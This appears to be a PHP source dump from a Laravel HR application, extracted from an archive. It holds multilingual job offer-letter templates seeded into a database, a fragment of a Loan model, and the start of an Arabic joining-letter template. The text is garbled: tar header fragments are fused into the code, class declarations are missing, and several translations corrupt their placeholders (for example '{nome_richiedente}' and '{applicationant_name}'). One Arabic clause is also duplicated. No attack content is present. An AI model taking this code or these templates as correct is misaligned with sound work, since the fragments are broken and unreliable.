Уважаемый {applicant_name!

{app_name} рад предложить вам присоединиться к нам в качестве {job_title}.

Осталось всего несколько формальностей, чтобы приступить к работе. Пожалуйста, найдите время, чтобы ознакомиться с нашим официальным предложением. В нем содержится важная информация о вашем вознаграждении, льготах и ​​условиях вашего предполагаемого трудоустройства в {app_name}.

{app_name} предлагает {job_type}. должность для вас как {job_title}, подчинение непосредственному руководителю/руководителю начиная с {start_date} в {workplace_location}. Ожидаемое рабочее время: {days_of_week}.

На этой должности {app_name} предлагает вам начать работу со ставкой заработной платы {salary} за {salary_type}. Вам будут платить на основе {salary_duration}.

В рамках вашего вознаграждения мы также предлагаем, если это применимо, вы описываете свой бонус, распределение прибыли, структуру комиссионных, опционы на акции и правила компенсационного комитета здесь.

Как сотрудник {app_name}, вы будете иметь право на краткосрочные льготы, такие как медицинская страховка, план акций, стоматологическая страховка и т. д.

Пожалуйста, подтвердите свое согласие с этими условиями и примите это предложение, подписав и датировав это соглашение не позднее {offer_expiration_date}.

Искренне,

{app_name}

', 'tr' => '

Teklif mektubu

Canım {applicant_name},

{app_name} olarak sizi gemiye getirmekten heyecan duyuyor {job_title}.

İşe başlamaktan sadece birkaç formalite uzaktaydı. Lütfen resmi teklifimizi incelemek için zaman ayırın. Tazminatınız, sosyal yardımlarınız ve sizin için öngörülen istihdamınızın hüküm ve koşulları hakkında önemli ayrıntıları içerir. {app_name}.

{app_name} teklif ediyor {job_type}. senin için pozisyon {job_title}, [acil yöneticiye/denetçiye] raporlama, şu tarihten itibaren {start_date} de{workplace_location}. Beklenen çalışma saatleri{days_of_week}.

Bu pozisyonda, {app_name} size bir ödeme oranıyla başlamayı teklif ediyor {salary} başına {salary_type}. size bir ödeme yapılacak{salary_duration} temel. 

Tazminatınızın bir parçası olarak [varsa, ikramiyenizi, kâr paylaşımınızı, komisyon yapınızı, hisse senedi opsiyonlarınızı ve ücret komitesi kurallarınızı burada açıklayacaksınız].

çalışanı olarak {app_name} , sağlık sigortası, stok planı, diş sigortası vb. gibi kısaca isim haklarına hak kazanacaksınız.

Lütfen bu şartları kabul ettiğinizi belirtin ve bu sözleşmeyi tarihinde veya daha önce imzalayarak ve tarih atarak bu teklifi kabul edin {offer_expiration_date}.

Samimi olarak,

{app_name}

', 'zh' => '

录取通知书

亲爱的 {applicant_name},

{app_name} 很高兴邀请您加入 {job_title}.

只需要办理一些手续就可以开始工作了。请花时间查看我们的正式报价。它包括有关您的薪酬、福利以及您预期就业的条款和条件的重要详细信息 {app_name}.

{app_name} 正在提供 {job_type}. 为您定位为 {job_title}, 向[直接经理/主管]汇报工作开始 {start_date} 在{workplace_location}. 预计工作时间为{days_of_week}.

在这个位置, {app_name} 提供给你的起始工资为 {salary} 每 {salary_type}. 您将获得报酬{salary_duration} 基础. 

作为薪酬的一部分,我们还提供[如果适用,您将在此处描述您的奖金、利润分享、佣金结构、股票期权和薪酬委员会规则].

作为一名员工 {app_name} , 您将有资格获得简单的福利,例如健康保险、股票计划、牙科保险等.

请在以下日期或之前签署本协议并注明日期,以表明您同意这些条款并接受本要约 {offer_expiration_date}.

真挚地,

{app_name}

', 'he' => '

מכתב הצעה

יָקָר {applicant_name},

{app_name} נרגש להעלות אותך לסיפון {job_title}.

היו רק כמה הליכים פורמליים מלהגיע לעבודה. אנא הקדישו זמן לעיון בהצעה הרשמית שלנו. הוא כולל פרטים חשובים על התגמול שלך, ההטבות והתנאים וההגבלות של העסקה הצפויה שלך {app_name}.

{app_name} מציעה א {job_type}. עמדה עבורך כ {job_title}, דיווח ל[מנהל/מפקח מיידי] החל מהיום {start_date} בְּ-{workplace_location}. שעות העבודה הצפויות הן{days_of_week}.

בתפקיד הזה, {app_name} מציעה להתחיל אותך בשיעור שכר של {salary} לְכָל {salary_type}. תשולם לך על א{salary_duration} בָּסִיס. 

כחלק מהתגמול שלך, הוצעו גם [אם רלוונטי, תתאר את הבונוס שלך, חלוקת הרווחים, מבנה העמלות, אופציות למניות וכללי ועדת התגמול שלך כאן].

בתור עובד של {app_name} , אתה תהיה זכאי להטבות עם שם קצר, כגון ביטוח בריאות, תוכנית מניות, ביטוח שיניים וכו.

אנא ציין את הסכמתך לתנאים אלה וקבל הצעה זו על ידי חתימה ותיארוך על הסכם זה או לפני כן {offer_expiration_date}.

בכנות,

{app_name}

', 'pt-br' => '

Carta de oferta

Prezado {applicant_name},

{app_name} tem o prazer de trazer você a bordo como {job_title}.

Faltavam apenas algumas formalidades para começar a trabalhar. Por favor, reserve um tempo para revisar nossa oferta formal. Ele inclui detalhes importantes sobre sua remuneração, benefícios e os termos e condições de seu emprego previsto com {app_name}.

{app_name} está oferecendo um {job_type}. posição para você como {job_title}, reportando-se ao gerente/supervisor imediato a partir de {start_date} em {workplace_location}. As horas de trabalho previstas são {days_of_week}.

Nesta posição, {app_name} está oferecendo para você começar com uma taxa de pagamento de {salary} por {salary_type}. Você será pago em uma base de {salary_duration}.

Como parte de sua remuneração, também oferecida, se aplicável, você descreverá seu bônus, participação nos lucros, estrutura de comissões, opções de ações e regras do comitê de remuneração aqui.

Como funcionário de {app_name} , você se qualificará para benefícios de nome breve, como seguro saúde, plano de ações, seguro odontológico etc.

Indique sua concordância com estes termos e aceite esta oferta assinando e datando este contrato em ou antes de {offer_expiration_date}.

Sinceramente,

{app_name}

', ]; foreach($defaultTemplate as $lang => $content) { GenerateOfferLetter::create( [ 'lang' => $lang, 'content' => $content, 'created_by' => 2, ] ); } } public static function defaultOfferLetterRegister($user_id) { $defaultTemplate = [ 'ar' => '

رسالة عرض

عزيزي {applicationant_name} ،

{app_name} متحمس لاصطحابك على متن الطائرة بصفتك {job_title}.

كنت على بعد خطوات قليلة من الشروع في العمل. يرجى أخذ الوقت الكافي لمراجعة عرضنا الرسمي. يتضمن تفاصيل مهمة حول راتبك ومزاياك وبنود وشروط عملك المتوقع مع {app_name}.

{app_name} يقدم {job_type}. المنصب بالنسبة لك كـ {job_title} ، تقديم التقارير إلى [المدير المباشر / المشرف] بدءًا من {start_date} في {workplace_location}. ساعات العمل المتوقعة هي {days_of_week}.

في هذا المنصب ، يعرض عليك {app_name}  {salary}أن تبدأ لك بمعدل دفع {salary_type} لكل {salary_duration}. سوف يتم الدفع لك على أساس.

كجزء من تعويضك ، إذا كان ذلك ممكنًا ، ستصف مكافأتك ومشاركة الأرباح وهيكل العمولة وخيارات الأسهم وقواعد لجنة التعويضات هنا.

بصفتك موظفًا في {app_name} ، ستكون مؤهلاً للحصول على مزايا الاسم المختصر ، مثل التأمين الصحي ، وخطة الأسهم ، والتأمين على الأسنان ، وما إلى ذلك.

الرجاء توضيح موافقتك على هذه البنود وقبول هذا العرض عن طريق التوقيع على هذه الاتفاقية وتأريخها في أو قبل {offer_expiration_date}.

بإخلاص،

{app_name}

', 'da' => '

Tilbudsbrev

Kære {applicant_name}

{app_name} er glade for at få dig med som {job_title}.

Der var kun et par formaliteter fra at komme på arbejde. Tag dig tid til at gennemgå vores formelle tilbud. Den indeholder vigtige oplysninger om din kompensation, fordele og vilkårene og betingelserne for din forventede ansættelse hos {app_name}.

{app_name} tilbyder en {job_type}. stilling til dig som {job_title}, der rapporterer til [nærmeste leder/supervisor] fra og med {start_date} på{workplace_location}. Forventet arbejdstid er {days_of_week}.

I denne stilling tilbyder {app_name} at starte dig med en lønsats på {salary} pr. {salary_type}. Du vil blive betalt på {salary_duration}-basis.

Som en del af din kompensation, du også tilbyder, hvis det er relevant, vil du beskrive din bonus, overskudsdeling, kommissionsstruktur, aktieoptioner og regler for kompensationsudvalget her.

Som ansat hos {app_name} vil du være berettiget til kort navnefordele, såsom sundhedsforsikring, aktieplan, tandforsikring osv.

Angiv venligst din accept af disse vilkår og accepter dette tilbud ved at underskrive og datere denne aftale på eller før {offer_expiration_date}.

Med venlig hilsen

{app_name}

', 'de' => '

Angebotsschreiben

Sehr geehrter {applicant_name},

{app_name} freut sich, Sie als {job_title} an Bord zu holen.

Nur noch wenige Formalitäten bis zur Arbeit. Bitte nehmen Sie sich die Zeit, unser formelles Angebot zu prüfen. Es enthält wichtige Details zu Ihrer Vergütung, Ihren Leistungen und den Bedingungen Ihrer voraussichtlichen Anstellung bei {app_name}.

{app_name} bietet einen {job_type} an. Position für Sie als {job_title}, ab {start_date} am {workplace_location} unterstellt an unmittelbarer Manager/Vorgesetzter. Erwartete Arbeitszeiten sind {days_of_week}.

In dieser Position bietet {app_name} Ihnen an, mit einem Gehaltssatz von {salary} pro {salary_type} zu beginnen. Sie werden auf Basis von {salary_duration} bezahlt.

Als Teil Ihrer Vergütung, die Sie gegebenenfalls auch anbieten, beschreiben Sie hier Ihren Bonus, Ihre Gewinnbeteiligung, Ihre Provisionsstruktur, Ihre Aktienoptionen und die Regeln des Vergütungsausschusses.

Als Mitarbeiter von {app_name} haben Sie Anspruch auf Kurznamenvorteile wie Krankenversicherung, Aktienplan, Zahnversicherung usw.

Bitte erklären Sie Ihr Einverständnis mit diesen Bedingungen und nehmen Sie dieses Angebot an, indem Sie diese Vereinbarung am oder vor dem {offer_expiration_date} unterzeichnen und datieren.

Aufrichtig,

{app_name}

', 'en' => '

Offer Letter

Dear {applicant_name},

{app_name} is excited to bring you on board as {job_title}.

Were just a few formalities away from getting down to work. Please take the time to review our formal offer. It includes important details about your compensation, benefits, and the terms and conditions of your anticipated employment with {app_name}.

{app_name} is offering a {job_type}. position for you as {job_title}, reporting to [immediate manager/supervisor] starting on {start_date} at{workplace_location}. Expected hours of work are{days_of_week}.

In this position, {app_name} is offering to start you at a pay rate of {salary} per {salary_type}. You will be paid on a{salary_duration} basis. 

As part of your compensation, were also offering [if applicable, youll describe your bonus, profit sharing, commission structure, stock options, and compensation committee rules here].

As an employee of {app_name} , you will be eligible for briefly name benefits, such as health insurance, stock plan, dental insurance, etc.

Please indicate your agreement with these terms and accept this offer by signing and dating this agreement on or before {offer_expiration_date}.

Sincerely,

{app_name}

', 'es' => '

Carta de oferta

Estimado {applicant_name},

{app_name} se complace en incorporarlo como {job_title}.

Faltaban sólo unos trámites para ponerse manos a la obra. Tómese el tiempo para revisar nuestra oferta formal. Incluye detalles importantes sobre su compensación, beneficios y los términos y condiciones de su empleo anticipado con {app_name}.

{app_name} está ofreciendo {job_type}. posición para usted como {job_title}, reportando al gerente/supervisor inmediato a partir del {start_date} en {workplace_location}. Las horas de trabajo esperadas son {days_of_week}.

En este puesto, {app_name} te ofrece comenzar con una tarifa de pago de {salary} por {salary_type}. Se le pagará sobre la base de {salary_duration}.

Como parte de su compensación, también ofrecemos, si corresponde, aquí describirá su bonificación, participación en las ganancias, estructura de comisiones, opciones sobre acciones y reglas del comité de compensación.

Como empleado de {app_name}, será elegible para beneficios de nombre breve, como seguro médico, plan de acciones, seguro dental, etc.

Indique su acuerdo con estos términos y acepte esta oferta firmando y fechando este acuerdo el {offer_expiration_date} o antes.

Sinceramente,

{app_name}

', 'fr' => '

Lettre doffre

Cher {applicant_name},

{app_name} est ravi de vous accueillir en tant que {job_title}.

Étaient juste quelques formalités loin de se mettre au travail. Veuillez prendre le temps dexaminer notre offre formelle. Il comprend des détails importants sur votre rémunération, vos avantages et les termes et conditions de votre emploi prévu avec {app_name}.

{app_name} propose un {job_type}. poste pour vous en tant que {job_title}, relevant du directeur/superviseur immédiat à partir du {start_date} à {workplace_location}. Les heures de travail prévues sont de {days_of_week}.

À ce poste, {app_name} vous propose de commencer avec un taux de rémunération de {salary} par {salary_type}. Vous serez payé sur une base de {salary_duration}.

Dans le cadre de votre rémunération, le cas échéant, vous décrivez ici votre bonus, votre participation aux bénéfices, votre structure de commission, vos options sur actions et les règles du comité de rémunération.

En tant quemployé de {app_name}, vous aurez droit à des avantages brièvement nommés, tels que lassurance maladie, le plan dactionnariat, lassurance dentaire, etc.

Veuillez indiquer votre accord avec ces conditions et accepter cette offre en signant et en datant cet accord au plus tard le {offer_expiration_date}.

Sincèrement,

{app_name}

', 'id' => '

Surat penawaran

{applicant_name} yang terhormat,

{app_name} dengan senang hati membawa Anda sebagai {job_title}.

Tinggal beberapa formalitas lagi untuk mulai bekerja. Harap luangkan waktu untuk meninjau penawaran resmi kami. Ini mencakup detail penting tentang kompensasi, tunjangan, serta persyaratan dan ketentuan pekerjaan yang Anda harapkan dengan {app_name}.

{app_name} menawarkan {job_type}. posisi untuk Anda sebagai {job_title}, melapor ke manajer/penyelia langsung mulai {start_date} di{workplace_location}. Jam kerja yang diharapkan adalah{days_of_week}.

Di posisi ini, {app_name} menawarkan untuk memulai Anda dengan tarif pembayaran {salary} per {salary_type}. Anda akan dibayar berdasarkan {salary_duration}.

Sebagai bagian dari kompensasi Anda, yang juga ditawarkan jika berlaku, Anda akan menjelaskan bonus, pembagian keuntungan, struktur komisi, opsi saham, dan aturan komite kompensasi Anda di sini.

Sebagai karyawan {app_name} , Anda akan memenuhi syarat untuk mendapatkan manfaat singkat, seperti asuransi kesehatan, paket saham, asuransi gigi, dll.

Harap tunjukkan persetujuan Anda dengan persyaratan ini dan terima penawaran ini dengan menandatangani dan memberi tanggal pada perjanjian ini pada atau sebelum {offer_expiration_date}.

Sungguh-sungguh,

{app_name}

', 'it' => '

Lettera di offerta

Gentile {nome_richiedente},

{app_name} è entusiasta di portarti a bordo come {job_title}.

Mancavano solo poche formalità per mettersi al lavoro. Per favore, prenditi del tempo per rivedere la nostra offerta formale. Include dettagli importanti sul compenso, i vantaggi e i termini e le condizioni del tuo impiego previsto con {app_name}.

{app_name} offre un {job_type}. posizione per te come {job_title}, riportando al manager/supervisore immediato a partire da {start_date} a {workplace_location}. Lorario di lavoro previsto è di {days_of_week}.

In questa posizione, {app_name} ti offre di iniziare con una paga di {salary} per {salary_type}. Sarai pagato su base {salary_duration}.

Come parte del tuo compenso, se applicabile, descrivi anche il tuo bonus, la partecipazione agli utili, la struttura delle commissioni, le stock option e le regole del comitato di compensazione qui.

In qualità di dipendente di {app_name} , avrai diritto a vantaggi per nomi brevi, come assicurazione sanitaria, piano azionario, assicurazione dentale, ecc.

Indica il tuo accordo con questi termini e accetta questa offerta firmando e datando questo accordo entro il {offer_expiration_date}.

Cordiali saluti,

{app_name}

', 'ja' => '

内定通知

{applicant_name} 様

{app_name} は、あなたを {job_title} として迎えることに興奮しています。

仕事に取り掛かる前に、ほんの少しの手続きがありました。時間をかけて正式なオファーを確認してください。これには、あなたの報酬、福利厚生、および {app_name} での予想される雇用条件に関する重要な詳細が含まれています。

{app_name} が {job_type} を提供しています。 {job_title} として、{start_date} から {workplace_location} の直属のマネージャー/スーパーバイザーに報告します。予想される勤務時間は {days_of_week} です。

このポジションでは、{app_name} は、{salary_type} あたり {salary} の賃金率であなたをスタートさせることを提案しています。 {salary_duration} 単位で支払われます。

報酬の一部として、該当する場合は提供もしていました。ボーナス、利益分配、手数料体系、ストック オプション、および報酬委員会の規則についてここに説明します。

{app_name} の従業員として、健康保険、ストック プラン、歯科保険などの簡単な名前の特典を受ける資格があります。

{offer_expiration_date} 日までに本契約に署名し日付を記入して、これらの条件に同意し、このオファーを受け入れてください。

心から、

{app_name}

', 'nl' => '

Aanbiedingsbrief

Beste {applicant_name},

{app_name} is verheugd je aan boord te mogen verwelkomen als {job_title}.

Waren slechts een paar formaliteiten verwijderd om aan het werk te gaan. Neem de tijd om ons formele aanbod te bekijken. Het bevat belangrijke details over uw vergoeding, voordelen en de voorwaarden van uw verwachte dienstverband bij {app_name}.

{app_name} biedt een {job_type} aan. functie voor jou als {job_title}, rapporterend aan directe manager/supervisor vanaf {start_date} op {workplace_location}. De verwachte werkuren zijn {days_of_week}.

In deze functie biedt {app_name} aan om je te starten tegen een salaris van {salary} per {salary_type}. U wordt betaald op basis van {salary_duration}.

Als onderdeel van uw vergoeding, die u, indien van toepassing, ook aanbiedt, beschrijft u hier uw bonus, winstdeling, commissiestructuur, aandelenopties en regels van het vergoedingscomité.

Als medewerker van {app_name} kom je in aanmerking voor korte naamvoordelen, zoals een ziektekostenverzekering, aandelenplan, tandartsverzekering, enz.

Geef aan dat u akkoord gaat met deze voorwaarden en accepteer deze aanbieding door deze overeenkomst op of vóór {offer_expiration_date} te ondertekenen en te dateren.

Eerlijk,

{app_name}

', 'pl' => '

List ofertowy

Drogi {applicant_name},

{app_name} z radością zaprasza Cię do współpracy jako {job_title}.

Od rozpoczęcia pracy dzieliło mnie tylko kilka formalności. Prosimy o poświęcenie czasu na zapoznanie się z naszą oficjalną ofertą. Zawiera ważne szczegóły dotyczące Twojego wynagrodzenia, świadczeń oraz warunków Twojego przewidywanego zatrudnienia w {app_name}.

{app_name} oferuje {job_type}. stanowisko dla Ciebie jako {job_title}, raportowanie do bezpośredniego przełożonego/przełożonego począwszy od {start_date} w {workplace_location}. Przewidywane godziny pracy to {days_of_week}.

Na tym stanowisku {app_name} oferuje Ci rozpoczęcie pracy za stawkę {salary} za {salary_type}. Otrzymasz zapłatę na podstawie {salary_duration}.

W ramach wynagrodzenia, które oferowaliśmy, jeśli dotyczy, opiszesz tutaj swoją premię, podział zysków, strukturę prowizji, opcje na akcje i zasady komitetu ds. Wynagrodzeń.

Jako pracownik {app_name} będziesz mieć prawo do krótkich imiennych świadczeń, takich jak ubezpieczenie zdrowotne, plan akcji, ubezpieczenie dentystyczne itp.

Zaznacz, że zgadzasz się z tymi warunkami i zaakceptuj tę ofertę, podpisując i datując tę ​​umowę w dniu {offer_expiration_date} lub wcześniej.

Z poważaniem,

{app_name}

', 'pt' => '

Carta de oferta

Prezado {applicant_name},

{app_name} tem o prazer de trazer você a bordo como {job_title}.

Faltavam apenas algumas formalidades para começar a trabalhar. Por favor, reserve um tempo para revisar nossa oferta formal. Ele inclui detalhes importantes sobre sua remuneração, benefícios e os termos e condições de seu emprego previsto com {app_name}.

{app_name} está oferecendo um {job_type}. posição para você como {job_title}, reportando-se ao gerente/supervisor imediato a partir de {start_date} em {workplace_location}. As horas de trabalho previstas são {days_of_week}.

Nesta posição, {app_name} está oferecendo para você começar com uma taxa de pagamento de {salary} por {salary_type}. Você será pago em uma base de {salary_duration}.

Como parte de sua remuneração, também oferecida, se aplicável, você descreverá seu bônus, participação nos lucros, estrutura de comissões, opções de ações e regras do comitê de remuneração aqui.

Como funcionário de {app_name} , você se qualificará para benefícios de nome breve, como seguro saúde, plano de ações, seguro odontológico etc.

Indique sua concordância com estes termos e aceite esta oferta assinando e datando este contrato em ou antes de {offer_expiration_date}.

Sinceramente,

{app_name}

', 'ru' => '

Письмо с предложением

Уважаемый {applicant_name!

{app_name} рад предложить вам присоединиться к нам в качестве {job_title}.

Осталось всего несколько формальностей, чтобы приступить к работе. Пожалуйста, найдите время, чтобы ознакомиться с нашим официальным предложением. В нем содержится важная информация о вашем вознаграждении, льготах и ​​условиях вашего предполагаемого трудоустройства в {app_name}.

{app_name} предлагает {job_type}. должность для вас как {job_title}, подчинение непосредственному руководителю/руководителю начиная с {start_date} в {workplace_location}. Ожидаемое рабочее время: {days_of_week}.

На этой должности {app_name} предлагает вам начать работу со ставкой заработной платы {salary} за {salary_type}. Вам будут платить на основе {salary_duration}.

В рамках вашего вознаграждения мы также предлагаем, если это применимо, вы описываете свой бонус, распределение прибыли, структуру комиссионных, опционы на акции и правила компенсационного комитета здесь.

Как сотрудник {app_name}, вы будете иметь право на краткосрочные льготы, такие как медицинская страховка, план акций, стоматологическая страховка и т. д.

Пожалуйста, подтвердите свое согласие с этими условиями и примите это предложение, подписав и датировав это соглашение не позднее {offer_expiration_date}.

Искренне,

{app_name}

', 'tr' => '

Teklif mektubu

Canım {applicant_name},

{app_name} olarak sizi gemiye getirmekten heyecan duyuyor {job_title}.

İşe başlamaktan sadece birkaç formalite uzaktaydı. Lütfen resmi teklifimizi incelemek için zaman ayırın. Tazminatınız, sosyal yardımlarınız ve sizin için öngörülen istihdamınızın hüküm ve koşulları hakkında önemli ayrıntıları içerir. {app_name}.

{app_name} teklif ediyor {job_type}. senin için pozisyon {job_title}, [acil yöneticiye/denetçiye] raporlama, şu tarihten itibaren {start_date} de{workplace_location}. Beklenen çalışma saatleri{days_of_week}.

Bu pozisyonda, {app_name} size bir ödeme oranıyla başlamayı teklif ediyor {salary} başına {salary_type}. size bir ödeme yapılacak{salary_duration} temel. 

Tazminatınızın bir parçası olarak [varsa, ikramiyenizi, kâr paylaşımınızı, komisyon yapınızı, hisse senedi opsiyonlarınızı ve ücret komitesi kurallarınızı burada açıklayacaksınız].

çalışanı olarak {app_name} , sağlık sigortası, stok planı, diş sigortası vb. gibi kısaca isim haklarına hak kazanacaksınız.

Lütfen bu şartları kabul ettiğinizi belirtin ve bu sözleşmeyi tarihinde veya daha önce imzalayarak ve tarih atarak bu teklifi kabul edin {offer_expiration_date}.

Samimi olarak,

{app_name}

', 'zh' => '

录取通知书

亲爱的 {applicant_name},

{app_name} 很高兴邀请您加入 {job_title}.

只需要办理一些手续就可以开始工作了。请花时间查看我们的正式报价。它包括有关您的薪酬、福利以及您预期就业的条款和条件的重要详细信息 {app_name}.

{app_name} 正在提供 {job_type}. 为您定位为 {job_title}, 向[直接经理/主管]汇报工作开始 {start_date} 在{workplace_location}. 预计工作时间为{days_of_week}.

在这个位置, {app_name} 提供给你的起始工资为 {salary} 每 {salary_type}. 您将获得报酬{salary_duration} 基础. 

作为薪酬的一部分,我们还提供[如果适用,您将在此处描述您的奖金、利润分享、佣金结构、股票期权和薪酬委员会规则].

作为一名员工 {app_name} , 您将有资格获得简单的福利,例如健康保险、股票计划、牙科保险等.

请在以下日期或之前签署本协议并注明日期,以表明您同意这些条款并接受本要约 {offer_expiration_date}.

真挚地,

{app_name}

', 'he' => '

מכתב הצעה

יָקָר {applicant_name},

{app_name} נרגש להעלות אותך לסיפון {job_title}.

היו רק כמה הליכים פורמליים מלהגיע לעבודה. אנא הקדישו זמן לעיון בהצעה הרשמית שלנו. הוא כולל פרטים חשובים על התגמול שלך, ההטבות והתנאים וההגבלות של העסקה הצפויה שלך {app_name}.

{app_name} מציעה א {job_type}. עמדה עבורך כ {job_title}, דיווח ל[מנהל/מפקח מיידי] החל מהיום {start_date} בְּ-{workplace_location}. שעות העבודה הצפויות הן{days_of_week}.

בתפקיד הזה, {app_name} מציעה להתחיל אותך בשיעור שכר של {salary} לְכָל {salary_type}. תשולם לך על א{salary_duration} בָּסִיס. 

כחלק מהתגמול שלך, הוצעו גם [אם רלוונטי, תתאר את הבונוס שלך, חלוקת הרווחים, מבנה העמלות, אופציות למניות וכללי ועדת התגמול שלך כאן].

בתור עובד של {app_name} , אתה תהיה זכאי להטבות עם שם קצר, כגון ביטוח בריאות, תוכנית מניות, ביטוח שיניים וכו.

אנא ציין את הסכמתך לתנאים אלה וקבל הצעה זו על ידי חתימה ותיארוך על הסכם זה או לפני כן {offer_expiration_date}.

בכנות,

{app_name}

', 'pt-br' => '

Carta de oferta

Prezado {applicant_name},

{app_name} tem o prazer de trazer você a bordo como {job_title}.

Faltavam apenas algumas formalidades para começar a trabalhar. Por favor, reserve um tempo para revisar nossa oferta formal. Ele inclui detalhes importantes sobre sua remuneração, benefícios e os termos e condições de seu emprego previsto com {app_name}.

{app_name} está oferecendo um {job_type}. posição para você como {job_title}, reportando-se ao gerente/supervisor imediato a partir de {start_date} em {workplace_location}. As horas de trabalho previstas são {days_of_week}.

Nesta posição, {app_name} está oferecendo para você começar com uma taxa de pagamento de {salary} por {salary_type}. Você será pago em uma base de {salary_duration}.

Como parte de sua remuneração, também oferecida, se aplicável, você descreverá seu bônus, participação nos lucros, estrutura de comissões, opções de ações e regras do comitê de remuneração aqui.

Como funcionário de {app_name} , você se qualificará para benefícios de nome breve, como seguro saúde, plano de ações, seguro odontológico etc.

Indique sua concordância com estes termos e aceite esta oferta assinando e datando este contrato em ou antes de {offer_expiration_date}.

Sinceramente,

{app_name}

', ]; foreach($defaultTemplate as $lang => $content) { GenerateOfferLetter::create( [ 'lang' => $lang, 'content' => $content, 'created_by' => $user_id, ] ); } } } Models/Loan.php000064400000001222150364306410007370 0ustar00hasOne('App\Models\Employee', 'id', 'employee_id')->first(); } public function loan_option() { return $this->hasOne('App\Models\LoanOption', 'id', 'loan_option')->first(); } public static $Loantypes=[ 'fixed'=>'Fixed', 'percentage'=> 'Percentage', ]; } Models/JobCategory.php000064400000000265150364306410010715 0ustar00 '-', 'app_name' => '-', 'employee_name' => '-', 'address' => '-', 'start_date' => '-', 'designation' => '-', 'branch' => '-', 'start_time' => '-', 'end_time' => '-', 'total_hours' => '-', ]; foreach($obj as $key => $val) { $arrValue[$key] = $val; } $settings = Utility::settings(); $arrValue['app_name'] = env('APP_NAME'); return str_replace($arrVariable, array_values($arrValue), $content); } public static function defaultJoiningLetter() { $defaultTemplate = [ 'ar' => '

خطاب الانضمام

{date}

{employee_name}

{address}

الموضوع: موعد لوظيفة {designation}

عزيزي {employee_name} ،

يسعدنا أن نقدم لك منصب {designation} مع {app_name} "الشركة" وفقًا للشروط التالية و

الظروف:

1. بدء العمل

سيصبح عملك ساريًا اعتبارًا من {start_date}

2. المسمى الوظيفي

سيكون المسمى الوظيفي الخاص بك هو {designation}.

3. الراتب

سيكون راتبك والمزايا الأخرى على النحو المبين في الجدول 1 ، طيه.

4. مكان الإرسال

سيتم إرسالك إلى {branch}. ومع ذلك ، قد يُطلب منك العمل في أي مكان عمل تمتلكه الشركة ، أو

قد تحصل لاحقًا.

5. ساعات العمل

أيام العمل العادية هي من الاثنين إلى الجمعة. سيُطلب منك العمل لساعات حسب الضرورة لـ

أداء واجباتك على النحو الصحيح تجاه الشركة. ساعات العمل العادية من {start_time} إلى {end_time} وأنت

من المتوقع أن يعمل ما لا يقل عن {total_hours} ساعة كل أسبوع ، وإذا لزم الأمر لساعات إضافية اعتمادًا على

المسؤوليات.

6. الإجازة / العطل

6.1 يحق لك الحصول على إجازة غير رسمية مدتها 12 يومًا.

6.2 يحق لك الحصول على إجازة مرضية مدفوعة الأجر لمدة 12 يوم عمل.

6.3 تخطر الشركة بقائمة الإجازات المعلنة في بداية كل عام.

7. طبيعة الواجبات

ستقوم بأداء أفضل ما لديك من واجبات متأصلة في منصبك ومهام إضافية مثل الشركة

قد يدعوك لأداء ، من وقت لآخر. واجباتك المحددة منصوص عليها في الجدول الثاني بهذه الرسالة.

8. ممتلكات الشركة

ستحافظ دائمًا على ممتلكات الشركة في حالة جيدة ، والتي قد يتم تكليفك بها للاستخدام الرسمي خلال فترة عملها

عملك ، ويجب أن تعيد جميع هذه الممتلكات إلى الشركة قبل التخلي عن الرسوم الخاصة بك ، وإلا فإن التكلفة

نفس الشيء سوف تسترده منك الشركة.

9. الاقتراض / قبول الهدايا

لن تقترض أو تقبل أي أموال أو هدية أو مكافأة أو تعويض مقابل مكاسبك الشخصية من أو تضع نفسك بأي طريقة أخرى

بموجب التزام مالي تجاه أي شخص / عميل قد تكون لديك تعاملات رسمية معه.

10. الإنهاء

10.1 يمكن للشركة إنهاء موعدك ، دون أي سبب ، من خلال إعطائك ما لا يقل عن [إشعار] قبل أشهر

إشعار خطي أو راتب بدلاً منه. لغرض هذا البند ، يقصد بالراتب المرتب الأساسي.

10.2 إنهاء عملك مع الشركة ، دون أي سبب ، من خلال تقديم ما لا يقل عن إشعار الموظف

أشهر الإخطار أو الراتب عن الفترة غير المحفوظة ، المتبقية بعد تعديل الإجازات المعلقة ، كما في التاريخ.

10.3 تحتفظ الشركة بالحق في إنهاء عملك بإيجاز دون أي فترة إشعار أو مدفوعات إنهاء

إذا كان لديه سبب معقول للاعتقاد بأنك مذنب بسوء السلوك أو الإهمال ، أو ارتكبت أي خرق جوهري لـ

العقد ، أو تسبب في أي خسارة للشركة.

10. 4 عند إنهاء عملك لأي سبب من الأسباب ، ستعيد إلى الشركة جميع ممتلكاتك ؛ المستندات و

الأوراق الأصلية ونسخها ، بما في ذلك أي عينات ، وأدبيات ، وعقود ، وسجلات ، وقوائم ، ورسومات ، ومخططات ،

الرسائل والملاحظات والبيانات وما شابه ذلك ؛ والمعلومات السرية التي بحوزتك أو تحت سيطرتك والمتعلقة بك

التوظيف أو الشؤون التجارية للعملاء.

11. المعلومات السرية

11. 1 أثناء عملك في الشركة ، سوف تكرس وقتك واهتمامك ومهارتك كلها بأفضل ما لديك من قدرات

عملها. لا يجوز لك ، بشكل مباشر أو غير مباشر ، الانخراط أو الارتباط بنفسك ، أو الارتباط به ، أو القلق ، أو التوظيف ، أو

الوقت أو متابعة أي دورة دراسية على الإطلاق ، دون الحصول على إذن مسبق من الشركة أو الانخراط في أي عمل آخر أو

الأنشطة أو أي وظيفة أخرى أو العمل بدوام جزئي أو متابعة أي دورة دراسية على الإطلاق ، دون إذن مسبق من

شركة.

11. المعلومات السرية

11. 1 أثناء عملك في الشركة ، سوف تكرس وقتك واهتمامك ومهارتك كلها بأفضل ما لديك من قدرات

عملها. لا يجوز لك ، بشكل مباشر أو غير مباشر ، الانخراط أو الارتباط بنفسك ، أو الارتباط به ، أو القلق ، أو التوظيف ، أو

الوقت أو متابعة أي دورة دراسية على الإطلاق ، دون الحصول على إذن مسبق من الشركة أو الانخراط في أي عمل آخر أو

الأنشطة أو أي وظيفة أخرى أو العمل بدوام جزئي أو متابعة أي دورة دراسية على الإطلاق ، دون إذن مسبق من

شركة.

11.2 يجب عليك دائمًا الحفاظ على أعلى درجة من السرية والحفاظ على سرية السجلات والوثائق وغيرها

المعلومات السرية المتعلقة بأعمال الشركة والتي قد تكون معروفة لك أو مخولة لك بأي وسيلة

ولن تستخدم هذه السجلات والمستندات والمعلومات إلا بالطريقة المصرح بها حسب الأصول لصالح الشركة. إلى عن على

أغراض هذا البند "المعلومات السرية" تعني المعلومات المتعلقة بأعمال الشركة وعملائها

التي لا تتوفر لعامة الناس والتي قد تتعلمها أثناء عملك. هذا يشمل،

